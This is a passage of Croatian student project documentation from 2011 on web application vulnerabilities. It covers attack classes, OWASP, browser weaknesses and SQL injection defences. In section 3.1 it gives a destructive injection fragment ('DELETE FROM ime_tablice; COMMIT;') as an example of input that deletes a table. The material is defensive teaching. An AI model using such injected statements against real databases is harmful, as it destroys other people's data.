Slabosti web aplikacija: Pregled modernih metoda kompromitiranja i

SVEUČILIŠTE U ZAGREBU
FAKULTET ORGANIZACIJE I INFORMATIKE VARAŽDIN
Projektna dokumentacija
SIGURNOST INFORMACIJSKIH SUSTAVA
Tema:
Slabosti web aplikacija:
Pregled modernih metoda kompromitiranja i zaštite sigurnosti weba
Članovi tima:
Tomislav Vladić
Zoran Šaško
Josip Vincek
Miroslav Zver
Tomislav Vedak
Varaždin, siječanj 2011.
Sadržaj
1. Uvod .......................................................................................................................... 1
2. Napadi i ranjivosti web aplikacija ............................................................................. 3
2.1. Aspekti sigurnosti ............................................................................................... 6
2.2. Što je OWASP.................................................................................................... 9
3. Napadi na web aplikacije – internet preglednici ..................................................... 11
3.1. Što je to SQLi ................................................................................................... 14
3.2. Napad SQLi propustom.................................................................................... 17
3.3. Što je to XSS/CRLF ......................................................................................... 22
3.4. Napad iskorištavanjem XSS/CRLF-a............................................................... 27
3.5. Zaštita od XSS/CRLF-a ................................................................................... 31
4. OWASP projekti ..................................................................................................... 33
4.1.OWASP Top 10 ................................................................................................ 33
4.1.1. Način utvrđivanja rizika ............................................................................ 35
4.1.2. OWASP Top 10 Application Security Risks – 2010 ................................ 38
4.1.2.1. Injection - Injekcija ............................................................................. 40
4.1.2.2. Cross-Site Scripting (XSS).................................................................. 42
4.1.2.3. Broken Authentication and Session Management – Loše upravljanje
autentikacijom i sesijama ................................................................................. 44
4.1.2.4. Insecure Direct Object References – Nesigurne direktne reference na
objekte .............................................................................................................. 46
4.1.2.5. Cross-Site Request Forgery (CSRF) ................................................... 48
4.1.2.6. Security Misconfiguration – Kriva konfiguracija sustava sigurnosti .. 50
4.1.2.7. Insecure Cryptographic Storage – Nesigurna kriptografska pohrana . 53
4.1.2.8. Failure to Restrict URL Access – Neuspjelo ograničavanje URL
pristupa ............................................................................................................. 55
4.1.2.9. Insufficient Transport Layer Protection – Nedovoljna zaštita na razini
transportnog sloja ............................................................................................. 57
4.1.2.10. Unvalidated Redirects and Forwards – Neprovjerena preusmjeravanja
i prosljeđivanja ................................................................................................. 59
4.2. OWASP projekti sigurnosti IS-a ...................................................................... 61
4.3. Korištenje alata u svrhu poboljšanja zaštite ..................................................... 70
4.3.1. WebScarab ................................................................................................ 71
I
4.3.2. WebGoat ................................................................................................... 72
4.4. Opći principi napada ........................................................................................ 75
5. Metode provjere i neutraliziranja ............................................................................ 78
5.1.
Damn vulnerable web app ............................................................................ 78
5.1.1.
SQL Injection ........................................................................................ 79
5.1.2.
Cross site scripting ................................................................................ 83
5.1.3.
Command execution.............................................................................. 87
5.1.4.
Cross site request forgery (CSRF) ........................................................ 91
6. DVWA .................................................................................................................... 96
6.1. Metode Damn Vulnerable Web Application (DVWA) aplikacije ................... 97
6.1.1. Brute Force ................................................................................................ 97
6.1.2. Command Execution ................................................................................. 98
6.1.3. Cross Site Request Forgery (CSRF) ......................................................... 98
6.1.4. File inclusion ............................................................................................. 99
6.1.5. XSS ......................................................................................................... 100
6.1.6. Unrestricted File Upload ......................................................................... 101
6.1.7. SQL Injection .......................................................................................... 103
6.1.7.1. Blind SQL Injection .......................................................................... 103
6.1.7.2. Način zaštite od SQLi napada ........................................................... 105
6.2. WebGoat............................................................................................................. 106
6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws)........................ 107
6.2.2. Sigurnost AJAX-a (engl. AJAX Security) .............................................. 108
6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws) ......................... 108
6.2.4. Prekoračenje kapaciteta međuspremnika (engl. Buffer Overflow) ......... 109
6.2.5. Kvaliteta programskog kôda (engl. Code Quality) ................................. 109
6.2.6. Konkurentnost (engl. Concurrency) ........................................................ 109
6.2.7. Cross-Site Scripting (XSS) ..................................................................... 109
6.2.8. Denial Of Service (DDOS) ..................................................................... 110
6.2.9. Nepravilno postupanje sa greškama (engl. Improper Error Handling) ... 110
6.2.10. SQLI ...................................................................................................... 111
6.2.11. Nesigurna komunikacija (engl. Insecure Communication) ................... 111
6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration) ...................... 112
6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage) .......................... 112
6.2.14. Izvršavanje malicioznih programa (engl. Malicious Execution) .......... 113
II
6.2.15. Parametar Tampering ............................................................................ 113
6.2.16. Upravljanje sesijama (engl. Session Management Flaws) .................... 114
6.2.17. Web servisi (engl. Web Services) ......................................................... 115
6.2.18. Zaključak o programima DVWA i WebGoat ....................................... 115
6.3 WebGoat SQLi demonstracija ........................................................................ 116
7. Literatura ............................................................................................................... 119
8. Popis priloga.......................................................................................................... 122
8.1. Popis slika ...................................................................................................... 122
8.2. Popis tablica ................................................................................................... 122
III
1. Uvod
Danas je zastupljenost računala sve veća u svim segmentima gdje čovjek može
djelovati na bilo koji način. Računala su postala dio čovjekova života i koristi ga u
rješavanju svakodnevnih problema, te postaje sve popularniji. Osim na ovom
područuju, također velike promjene su vidljive u poslovanju, gdje se nastoji sve
automatizirati i ubrzati cjelokupni proces poslovanja. Takav način poslovanja donosi
mnoge prednosti, ali bismo mogli reći, da postoji i veliki broj nedostataka koji dolaze
zajedno sa prednostima korištenja ovakve tehnologije. Napuštaju se tradicionalni
načini, te se pristupa novim i modernism načinima obavljanja svih aktivnosti koji u
konačnici daju veći stupanj sigurnosti u jednom području, a istovremeno veći stupanj
nesigurnosti ako govorimo o sigurnosti informacija i podataka o korisnicima
aplikacija.
Znamo da vrlo često, korištenje bilo kakvih aplikacija, posebno ako se radi o
aplikacijama na internet, zahtjevaju registracije, te prijave različitog tipa u sustave
kako bi se dobili korisnički podaci za pristup alikaciji. To najčešće podrazumjeva
ostavljanje osobnih podataka, kao što je mail adresa, te drugih osobnih podataka, što
može dovesti do narušavanja sigurnosti korisnika aplikacije. Napredovanjem
tehnologije, pronalaze se mogućnosti narušavanja sigurnosti komunikacijskih kanala,
te narušvanja osobne privatnosti i sigurnosti. Tehnologija svaki dan omogućuje sve
više dobre funkcionalnosti, ali isto tako i predstavlja problem koji je teško
kontrolirati, posebice ako se radi o pristupu udaljenim računalima, gdje postajemo
potencijalne mete osoba koje izvode računalne napade.
U ovom seminaru ćemo se dotaknuti pojma sigurnosti web aplikacija, te najčešćih
slabosti koje u velikoj mjeri utječu, ne samo na sigurnost aplikacije, nego na sigurnost
korisnika aplikacije. Osim toga, vidjet ćemo na koji način korisnici web aplikacija
mogu biti ugroženi, te kako se osigurati da ne dođemo u takve situacije. Prije svega,
bitno je da djelujemo preventivno i učinimo sve mjere zaštite, te poduzmemo korake u
sprječavanju ili barem smanjivanju mogućnosti napada.
Budući da se sve više aktivnosti seli na internet, ovakav način rada najčešće zahtjeva
korištenje baza podataka, velikog broja servera koji poslužuju klijenta, te su oni u
1
velikoj mjeri u stalnoj interakciji. Ova raširenost predstavlja još veći problem, koji
dovodi u teške situacije i same korisnike web usluga, ali i poslužitelje koji nastoje na
sve načine prilagoditi sustave sigurnom načinu rada.
Kako bi se moglo djelovati i učiniti web aplikacije otpornijim na napade izvana,
potrebno je definirati potencijalne kritične točke. Osim njihovog prepoznavanja, bitan
je korak u kojemu pokušavamo pronaći efikasno rješenje. To rješenje je vrlo teško
pronaći, jer se mora obratiti pažnju na nekoliko bitnih elemenata. Prije svega, ne
bismo smjeli smanjiti količinu usluge ili njezinu kvalitetu primjenom određenih mjera
sigurnosti, ali isto tako bismo trebali omogućiti jednostavnost korištenja, kako bi svi
korisnici znali kako trebaju u pojedinim situacijama reagirati.
Kako bismo pokazali što je potrebno poduzeti da bismo povećali sigurnost
informacija i podataka koje šaljemo putem internet, između aplikacija koje
međusobno komuniciraju, prikazat ćemo načine na koji se vrlo često napadaju web
aplikacije, te ćemo dati konkretne primjere kako to spriječiti. To bi na neki način
moglo predstavljati smjernice ili upute u poboljšanju vlastite sigurnosti u slučaju
korištenja infrastrukture interneta kao tehnologije koja omogućuje komunikaciju i
razmjenu podataka.
2
2. Napadi i ranjivosti web aplikacija
Web aplikacije su danas postale mjesto koje daje velike mogućnosti za izvršavanje
kriminalnih radnji. To je mjesto gdje se izmjenjuju velike količine informacija.
Informacije se šalju između različitih korisnika na velikim udaljenostima, te se
obrađuju. Sam taj proces je prilično složen, a u njemu sudjeluje veliki broj server koji
poslužuju informacije, obrađuju ih i u konačnici prosljeđuju drugim korisnicima
sustava i web aplikacija. Postojanje velikog broja tehnologija koje omogućuju pisanje
koda za aplikacije, da mogućnost programerima da naprave kvalitetne aplikacije.
Istovremeno možemo reći da ta činjenica pomaže i programerima zlonamjernih
aplikacija. Analizom ranjivosti sustava i web aplikacija, dolazimo do pojedinih
propusta koje možemo ukloniti i učiniti aplikacije sigurnijim. Svaki dan se nastoje
poboljšati načini komuniciranja između aplikacija, te vidjeti koji problemi u
protokolima komuniciranja, možda na neki način utječu na manju razinu sigurnosti
web aplikacija. Danas je razvijen veliki broj tehnika napada na web aplikacije, pa
ćemo spomenuti samo neke od najčešće korištenih. Sve te tehnike će biti kasnije
opisane, a za neke ćemo dati primjere izvršavanja napada na konkretnim sustavima,
odnosno web aplikacijama.
Neke od najčešće korištenih tehnika napada se odnose na: 1
1. Napadi koji se odnose na autentifikaciju 2
2. Napadi koji se odnose na autorizaciju 3
3. Napadi na klijentskoj strani
4. Napadi izvršavanja naredbi
5. Otkrivanje povjerljivih informacija
6. Logički napadi
Još možemo napomenuti da ovo nisu svi napadi koji su danas mogući nego samo neki
od najčešće korištenih.
1
Najčešće korištene tehnike napada
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf
2
Odnosi se na mjeru zaštite, dokazivanje identiteta korisnika
http://en.wikipedia.org/wiki/AAA_protocol
3
Odnosi se na mjeru zaštite, dokazivanje identiteta korisnika
http://en.wikipedia.org/wiki/AAA_protocol
3
Sam postupak identificiranja ranjivosti sustava dosnosi dodatne probleme. Mnogi
problemi su toliko složeni ili zahtjevaju odlično poznavanje tehnologije i puno
vremena da bi se riješili. Identifikacijom propusta, oni vrlo brzo postaju dostupni
javnosti, a time postoji potencijalna opasnost da neke od do sada nepoznatih ranjivosti
budu iskorištene protiv korisnika sustava ili web aplikacija.
Problem ranjivosti web aplikacija i sustava koji opslužuju web aplikacije su veliki
problem ako se ne uspiju riješiti odmah nakon njihovog otkrivanja ili u vrlo brzom
vremenskom razdoblju nakon toga. Ako se radi o složenim problemima neke
ranjivosti bi se mogle iskoristiti za stvaranje novih koje u tom trenutku nisu uočene,
pa bi problem bio jednak ili možda čak i veći u odnosu na prethodnu situaciju. Zbog
toga je brzo djelovanje jedan od najvažnijih čimbenika u tom procesu.
Prethodno smo spomenuli na što se odnose najčešće korištene tehnike napada. Svaka
ta grupa se odnosi na jednu ili više tehnika napada od kojih ćemo neke detaljnije
opisati. Danas su one poznate po sljedećim imenima:
1. Buffer Overflow4
2. SQL injection5
3. Cross.site scripting6,
te mnoge druge.
U svrhu sigurnosti korisnika web aplikacija, postoje brojne organizacije koje svojim
prijedlozima i smjernicama pokušavaju utjecati na svijest korisnika i tako postići da
korisnici sami djeluju prije nego se dogodi mogućnost da se nađu u nekoj potencijalno
opasnoj situaciji. Neke od tih organizacija su Zavod za sigurnost informacijskih
sustava7 ili Cert8.
4
Buffer Overflow tehnika napada http://en.wikipedia.org/wiki/Buffer_overflow
SQLi tehnika napada http://en.wikipedia.org/wiki/SQL_injection
6
Cross.site scripting tehnika napada http://en.wikipedia.org/wiki/Cross-site_scripting
7
Zavod za sigurnost informacijskih sustava
http://www.zsis.hr/Site/LinkClick.aspx?fileticket=nYHdMp/tUx8%3D&tabid=66&mid=459
8
Cert – organizacija koja se brine o sigurnosnim incidentima http://www.cert.hr/
5
4
Postoje također brojne web stranice na kojima su detalji i ranjivostima često
objavljivani. Neke od web stranica koje objavljuju ranjivosti web aplikacija su
sljedeće9:
Tablica 2.1. Prikaz web stranica za ranjivostima
Naziv stranice
Adresa web stranice
1.
SecurityFocus
http://www.securityfocus.com
2.
milw0rm
http://www.milw0rm.com
3.
Packet Storm
http://packetstormsecurity.org
4.
MITRE Corporation CVE
http://cve.mitre.org
5.
NIST
National
Vulnerability http://nvd.nist.gov
Database
6.
ISS X-Force
http://xforce.iss.net
7.
CERT vulnerability notes
http://www.kb.cert.org/vuls
Slika 2.1. Postotak najčešćih ranjivosti Web aplikacija po klasama
9
Web stranice koje objavljuju ranjivosti web aplikacija
http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html
5
2.1. Aspekti sigurnosti
Danas govorimo o nekoliko aspekata sigurnosti. To su:
•
Napad na sigurnost – sve akcije koje se mogu definirati kao opasne akcije za
sigurnost informacija i podataka u nekom sustavu.
•
Sigurnosni mehanizam – mehanizam koji se implementira sa ciljem da se
otkriju potencijalne prijetnje i napadi koje treća strana pokušava izvršiti nad
sustavom i informacijama koje on ima.
•
Sigurnosna usluga – mehanizam koji osigurava veću razinu sigurnosti,
povećava sigurnost sustava, informacija koje su potrebne sustavu i podataka
koji su tu zapisani.10
Napadi na sustav mogu biti različitog tipa. Danas se sve više pokušavaju napadati
sustavi koji rade na internetu. Poslovanje se seli na internet, a aplikacije koje
opslužuju sustav na taj način postaju sve ranjivije i sve češće meta različitih napada.
Neki od najčešćih načina napada su presretanje, izmjena podataka ili slanje lažnih
podataka tako da korisnici sustava nisu toga svjesni. To može narušiti sigurnost
sustava i utjecati na kvalitetu poslovanja.
Da bismo mogli na bilo koji način djelovati na prijetnje i uspješno smanjiti intenzitet
realizirane prijetnje ili da bismo uopće mogli donositi određene mjere za smanjenje
rizika i eliminiranje prijetnji sustavu, potrebno je analizirati sustav i definirati što je
sve izloženo rizičnim situacijama i na koji način možemo djelovati kako bismo tu
činjenicu promjenili i određeni dio sustava, ili sustav u cjelini učinili sigurnijim i
otpornijim na prijetnje i ranjivosti koje dolaze sa interneta.
Ovaj postupak se provodi kroz nekoliko koraka. To su najčešće sljedeći koraci:11
•
Identificiranje onih dijelova koje treba zaštititi,
•
Izrada popisa imovine i definiranje određenih mjera
•
Dekompozicija aplikacije
10
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 1, 2. stranica
11
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 1, 6.-7. stranica
6
•
Identificiranje prijetnji
•
Dokumentiranje prijetni radi daljnje obrade i praćenja kako se takve situacije
ne bi ponavljale
•
Rangiranje prijetnji i procjena prijetnji s ciljem da se veći prioriteti daju onim
elementima koji su najviše ugroženi.
Sada si možemo postaviti pitanje: „Koji je razlog pojavljivanja potrebe za ovakvim
postupcima?“ Prije svega to se odnosi na povjerljivost, raspoloživost i cjelovitost.
Osim spomenutih napada, postoji još nekoliko vrsta napada, pa spominjemo još
nekoliko vrlo raširenih. Svakako vrlo bitno mjesto zauzima Brute force napad koji je
vezan za autentifikaciju korisnika. Zbog nedovoljne razine zaštite ovaj napad
funkcionira metodom pogađanja i promašaja korisničkih lozinki. Na taj način,
napadači ne samo da dolazi do korisničkih podataka za prijavu u sustav, nego
dobivaju i druge bitnije podatke o korisnicima kao što su brojevi kartica te podaci
koje oni čuvaju. Na taj način vrlo jednostavno napadač može doći u situaciju da
promjeni korisničke podatke korisnika i zauvijek ih oduzme korisniku.
U mnogim web aplikacijama, korisnički podaci za pristup su vrlo jednostavni i kratki.
Zbog te činjenice mnogi napadači pokušavaju upravo pogađanjem doći do tih
podataka. Kako bi se to spriječilo bilo bi dobro onemogućiti pristupe uslugama u
vrijeme kada to nije potrebno. I ne samo onemogućiti, nego i dati korisniku priliku da
sam odluči u koje vrijeme će određene usluge biti dostupne. Na taj način samo
korisnik zna kada može pristupiti, a napadačima je onemogućeno pogađanje lozinki i
drugih korisničkih podataka.
I kod ovih napada se može iskoristiti propust vezan za ubacivanje koda. I to se može
iskoristiti i izvršiti napadački kod na strani klijenta u korisničkom web pregledniku.
Napadač ubacuje određeni sadržaj te onemogućuje korisniku da primjeti kako se radi
o nelegitimnom kodu, odnosno napadačkom kodu. On će na kraju nesvjesno izvršiti
taj kod i omogućiti napadaču daljnje napade.
7
Sljedeći bitni propust je vezan za otkrivanje povjerljivih informacija. Često se veže za
rasipanje
informacija,
izlistavanje
mapa
neautoriziranim
korisnicima,
onim
korisnicima koji ne smiju imati pristup tome, u slučajevima kada se koriste prečaci.
Treba spriječiti da aplikacija otkriva programske komentare ili detaljenije poruke
pogreškama koji dovode napadača na bliži put do korisničkih podataka. Treba
predvidjeti što veći broj pogrešaka i na taj način spriječiti ispisivanje pogrešaka koje
ćem otkriti detalje o podacima, bazama podataka, te drugim korisničkim podacima.
Zbog ovakvih propusta napadači mogu doći i do sistemskih ili administratorskih
ovlasti i podataka o njima u sustavu.
Posljednji napad koji ćemo opisati je logički napad12. Vezan je za zlouporabu
funkcionalnosti aplikacije. Temelji se na uskraćivanju pružene usluge. Najčešće se
izvodi kao DDOS napad ili rjeđe DOS napad. Napad je uzrokovan automatiziranim
procesima koji narušavaju kontrolu procesa. Napadač u velikoj mjeri koristi resurse
poslužitelja, te onemogućuje drugim korisnicima korištenje usluga i normalni rad web
aplikacije.
12
Logički napadi http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf
8
2.2. Što je OWASP
O OWASP-u13 nećemo puno govoriti u ovom poglavlju, budući da ćemo ga kasnije
detaljnije razraditi i opisati. Za sada je dovoljno samo reći što je to OWASP, što će
biti dovoljno za uvod u vrste napada web aplikacija, te najčešće ranjivosti web
aplikacije koje omogućuju napadačima da dođu do sadržaja koji su povjerljivi, tajni ili
ne smiju biti dostupni svim osobama, odnosno javnosti.
OWASP je skraćenica od naziva Open Web Application Security Project, odnosno
organizacije koja se bavi pronalaženjem i rješavanjem problema vezanih za sigurnost
aplikacija. Rezultat njihovog rada je jedan vrlo poznati dokument nazvan OWASP
Top 10 koji definira pravila i smjernice kako se zaštititi od kritičnih propusta u web
aplikacijama14. Na tom projektu je radio veliki broj stručnjaka iz cijelog svijeta.
Samim prihvaćanjem njihovih preporuka postajemo sve bliži sigurnijem načinu rada u
web aplikacijama.15
Osim samog OWASPA, na ovom području se istaknula još jedna organizacija, a to je
WASC ili Web Application Security Consortium. To je grupa stručnjaka iz cijelog
svijeta i predstavnika drugih orgnizacija koje se bave sigurnošću računalnih
aplikacija, a daju smjernice i upute za najbolju praqksu kako se osigurati od različitih
ranjivosti i napada. Svoje smjernice i upute objavljuju u dokumentima kako bi
korisnici web aplikacija što jednostavnije i brže došli do tih uputa.
Osim samih preporuka o načinu rada i postizanju veće razine sigurnosti, OWASP daje
i preporuke o alatima koje treba koristiti kada testiramo sigurnost aplikacije. Jedan od
alata koji su preporučili je Paros. Napisan je u Javi i omogućuje dohvaćanje i izmjene
na HTTP i HTTPS prometu između poslužitelja i klijenta.
13
OWASP – http://www.owasp.org/index.php/Main_Page
OWASP – http://www.owasp.org/index.php/OWASP_Testing_Project
15
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
14
9
U nastavku imamo sliku koja prikazuje deset najčešćih napada na korisnike web
aplikacija. Iz ovoga jasno vidimo koji su napadi najčešće korišteni, te na osnovu tih
informacija se možemo orjentirati na određena područja i uložiti veće napore kako
bismo zaštitili svoj sustav.
Slika 2.2. Deset najčešće korištenih napada na web aplikacije16
Slika prikazuje sljedeće napade:
Cross-site scrinpting, Injection Flaws, Malicious File Execution, Insecure Direct
Object Reference. To su napadi koje se posebno ističu i među deset spomenutih.
16
Deset najčešće korištenih napada na web aplikacije http://www.owasp.org/index.php/Top_10_2007-Methodology
10
3. Napadi na web aplikacije – internet preglednici
Da bismo objasnili napade na web aplikacije, potrebno je prije svega spomenuti
internet preglednike koji omogućuju izvršavanje takvog koda i prikazivanje web
aplikacija na ekranu korisnika. Za početak si možemo postaviti sljedeće pitanje: „Što
su to web aplikacije i što su to internet preglednici?“ Ovi odgovori će nam biti
prilično bitni kada budemo tražili odgovor na pitanje kako spriječiti napada na web
aplikacije i kako učiniti te iste aplikacije sigurnijima i manje ranjivima. Web
aplikacije su programski paketi koji omogućuju korisnicima prezentiranje sadržaja
različitog tipa, korištenje različitih usluga te izvršavanje određenih aktivnosti. Na ovo
pitanje možemo odgovoriti na više načina i postoji veliki broj različitih definicija,
budući da je i samo to područje prilično široko. Drugi dio pitanja se odnosi na internet
preglednike. To je programski paket koji je namjenjen dohvaćanju i prezentaciji web
stranica, odnosno slikovnih datoteka, video zapisa ili neke druge vrste sadržaja koji se
na njoj nalazi. Neki od najpopularnijih i najčešće korištenih internet preglednika su:
Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome, te još mnogi
drugi.17
Zbog svoje raširenosti ovi internet preglednici postaju zanimljiviji napadačima i vrlo
pogodni za iskorištavanje ranjivosti kako bi došli do podataka korisnika. I sami
korisnici već svojim ponašanjem i načinom korištenja na neki način pomažu
napadačima i olakšavaju im posao. Iskorištavanjem svih mogućnosti internet
preglednika, kao što su spremanje korisničkih podataka, spremanje povijesti, te razne
dodatne opcije, čine naše preglednike i računala ranjivijim. Ovo još više dolazi do
izražaja ako ne koristimo nikakvu ili koristimo nedovoljno dobru zaštitu. Spomenuta
web aplikacije se uglavnom sastoji od tri glavne komponente. To su skripte, a radi se
o sljedećim komponentama: web poslužitelj šalje stranice korisničkom pregledniku,
aplikacijski poslužitelj obrađuje te podatke, a na kraju se ti podaci spremaju u bazu
podataka.18
17
Najpopulariniji web preglednici – http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf
18
Komponente web aplikacije – http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf
11
Tablica 3.1. Usporedba popularnih preglednika u 2009. godini19
2009
Srpanj
Lipanj
Svibanj
Travanj
Ožujak
Veljača
Siječanj
IE7
15,9
18,7
21,3
23,2
24,9
25,4
25,7
IE6
14,4
14,9
14,5
15,4
17,0
17,4
18,5
IE8
9,1
7,1
5,2
3,5
1,4
0,8
0,6
Firefox
47,9
47,3
47,7
47,1
46,5
46,4
45,5
Chrome
6,5
6,0
5,5
4,9
4,2
4,0
3,9
Safari
3,3
3,1
3,0
3,0
3,1
3,0
3,0
Opera
2,1
2,1
2,2
2,2
2,3
2,2
2,3
Tablica 3.1. prikazuje postotak korisnika koji koriste određeni preglednik. Vidimo da
se postotci tijekom godina mijenjaju, ali i da su omjeri približno jednaki tijekom svih
godina. Neki od internet preglednika koji imaju jako puno problema sa ranjivostima,
imaju veliki broj korisnika.
Prednosti internet preglednika Mozilla Firefox
Osim brzine koja se ističe kao vrlo dobra prednost, bitno je istaknuti i brzinu koja se
odnosi na izdavanje sigurnosnih zakrpa za ovaj internet preglednik. Vrlo brzo se
uočavaju sigurnosne prijetnje i razvijaju zakrpe za propuste kako bi korisnici bili
sigurniji. Još neke predosti su brojni dodaci koji se mogu instalirati kao plugin u
internet pregledniku, te stabilnost i dobre performanse preglednika. Svakako najbitniji
dio je integracija s antivirusnim programom, vrlo brzo i efikasno uočavanje phishing
napada, te provjer od zlonamjernih programa. Korisnicima je dana visoka razina
sigurnosti i stalno razvijanje sustava te kontinuirano poboljšanje.
Kao i svaki drugi preglednik i ovaj ima nekoliko nedostataka. Jedan od njih je vezan
za memoriju. Ovaj preglednik zauzima puno memorije kada je pokrenut i zbog toga
ponekad može raditi probleme. Drugi bitan nedostatak je vezan za verziju 3.5. koja
ima propust u nekim od plugina. To su plugin AdBlock Plus i NoScript, nakon čije
instalacije se zapravo omogućuje proizvoljno pokretanje JavaScript koda.
Prednosti internet preglednika Internet Explorer
19
CERT.hr – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf
12
Drugi često korišteni internet preglednik je Internet Explorer. U nastavku spominjemo
prednosti i nedostake vezane za tog preglednika. Od prednosti je bitno istaknuti
brzinu koja se odnosi na obavljanje zadaća, alatnu traku koja u novijim verzijama
nadopunjuju adresu koju korisnik upisuje, te neke dodatke koji se odnose na zaštitu od
različitih vrsta napada. Kao bitne izdvajamo zaštita od napada socijalnim
inženjeringom, te mogućnosti oporavka od rušenja aplikacije, zaštita privatnosti, te
praćenje novosti na web stranicama.
Iako ovaj preglednik ima dosta prednosti koje mogu zadovoljiti potrebe korisnika, tu
su brojni propusti od kojih se većina može svrstati u kategoriju vrlo rizičnih propusta.
To su dereferenciranje osolobođene memorije, neispravno rukovanje tabličnim
operacijama i podacima u priručnoj memoriji. Osim ovih propusta spominju se
propusti vezani za neodgovarajuću analizu predložaka dokumenata te nepravilno
rukovanje pozivima DHTML objekata.20
20
CERT.hr – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf
13
3.1. Što je to SQLi
SQLi napad mogu biti vrlo štetni za sustav, posebno u situacijama kada on ima velike
količine strogo povjerljivih podataka. Ovakvi napadi su vezani za bazu podataka,
odnosno sustave koji u pozadini imaju neku bazu podataka. SQLi napadi se mogu
spriječiti ako na korektan način provjeravamo korisničke unose u forme. Kao primjer
ćemo navesti pokušaj brisanja tablice iz baze podataka. Ako pretpostavimo da od
korisnika zahtjevamo unos određenih podataka, a nema nikakve kontrole podataka,
onda korisnik može to iskoristiti i nakon što unese posljednji podataka, može dodati
kod koji će brisati podatke ili cijele tablice.21
Tako, primjeri dani kod DELETE FROM ime_tablice; COMMIT; može brisati neku
tablicu ako se unese nakon zadnjeg upisanog podataka. To je omogućeno dinamičkim
SQL upitima koji se koriste u aplikaciji. Ako imamo potrebu koristiti takve upite,
onda je u svakom slučaju preporučljivo dodati kontrole unosa podatak u formu, kako
bismo barem jedan dio prijetnji eliminirali.
Primjer.
Ako imamo bazu podataka u kojoj se traži registracija korisnika, možemo
pretpostaviti što korisnik smije upisati i u kojem to obliku treba biti. Za one elemente
koji ne trebaju imati specijalne znakove, to možemo ograničiti i isključiti mogućnost
njihovog unosa. Na taj način smo spriječili da korisnik u tom postupku unosi naredbe
koje će narušiti integritet ili cjelovitost podataka u bazi podataka.22 Ovakvi napadi su
najopasniji ako korisnik već poznaju strukturu baze podataka i zna kako se neke
tablice zovu, ili ako čak zna nazive određenih stupaca u tablici. To je puno opasnije,
jer korisnik na taj način može napasti točno određeni dio u bazi podataka i brisati
nešto za što zna gdje se nalazi. Ako struktura baze podataka nije poznata, napadač ne
zna kako se zovu tablice i vrlo teško će do toga doći i brisati tablice ili mijenjati
njihov sadržaj.
21
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 479. stranica
22
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11,480. stranica
14
Aspekti zaštite23
1. Uporaba najnovijih zakrpa za DBMS
2. Ograničavanje pristupa DBMS serveru
3. Korištenje troslojnog modela arhitekture sustava
4. Skrivanje strukture baze podataka
5. Korištenje složenih lozinki
6. Brisanje nepotrebnih objekata
7. Provjera kontrole pristupa
8. Kontrola podataka koje korisnik unosi kao input u sustavu
9. Procjena mogućnosti napada na sustav pomoću ranjivosti
Kada govorimo o zaštiti DBMS-a, bitno je pratiti izdavanje zakrpa za sustav i
redovito ga ažurirati. Proizvođači nastoje izdati zakrpe za uočene ranjivostim, pa
njihovom instalacijom onemogućujemo napadačima da naruše sigurnost sustava.
Neke ranjivosti su toliko složene, da ne postoji neki drugi način zaštite pa je ovaj
postupak dobro izvršavati što je češće moguće. Još jedan korak u pokušaju stvaranja
veće razine sigurnosti je ograničavanje pristupa korisnicima. Ovo se najviše odnosi na
pristup serveru na kojem se nalaze bitni podaci. Ako korisnici ne trebaju pristup
serveru onda im se to ne smije omogućiti. Ako im je ipak pristup potreban, ali nije
potreban pristup cijelom sustavu, onda ga se mora ograničiti na onu razinu koja je
određenom korisniku potrebna.24
Korištenje troslojne arhitekture sustava se odnosi na pravilno modeliranje sustava i
implementiranje na način da se poslovna logika odvaja od ostatka sustava, te da
postoje najmanje tri razine koje će biti međusobno neovisne. Na taj način
jednostavnije možemo kontrolirati sustav, popravljati ga ili nadograđivati po
potrebi.25
23
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 489-491. stranica
24
Ograničavanje pristupa serveru DBMS – Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 489. stranica
25
Kada govorimo o troslojnom modelu, treba naglasiti da u smislu projektiranja aplikacije to znači
razdvajanje funkcionalnosti i jednostavnost nadograđivanja sustava, te jednostavna zamjena
komponenti – Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić,
2007. godina, Poglavlje 11, 489. stranica
15
Što se tiče skrivanja strukture baze podataka, možemo doći do zaključka da ona
zapravo predstavlja veliki problem za sigurnost sustava. Budući da se vrlo često
koriste dinamički SQL upiti u aplikacijama, poznavanje strukture baze podataka od
strane korisnika, može ugroziti sustav. Korisnik to znanje može iskoristiti kako bi
pomoću naredbi u SQL-u obrisao neke tablice iz baze podataka, pa čak i kako bi
izmjenio podatke u nekim tablicama.26
Korištenje složenih lozinki se odnosi na promjenu lozinki koje su sustavu dodijeljene
nakon instalacije. Te lozinke su uvijek jednake i jednostavne pa ih i početnici mogu
vrlo brzo razbiti. Zbog toga lozinke treba vrlo često mijenjati i koristiti različite
kombinacije znakova, brojeva i specijalnih simbola kako bi ona bila sigurnija i teža za
razbiti. Također, treba korisnicima omogućiti da mijenjaju lozinke ili ih nekim
mehanizmima prisliti da je mijenjaju kako napadači ne bi mogli iskoristiti ranjivosti
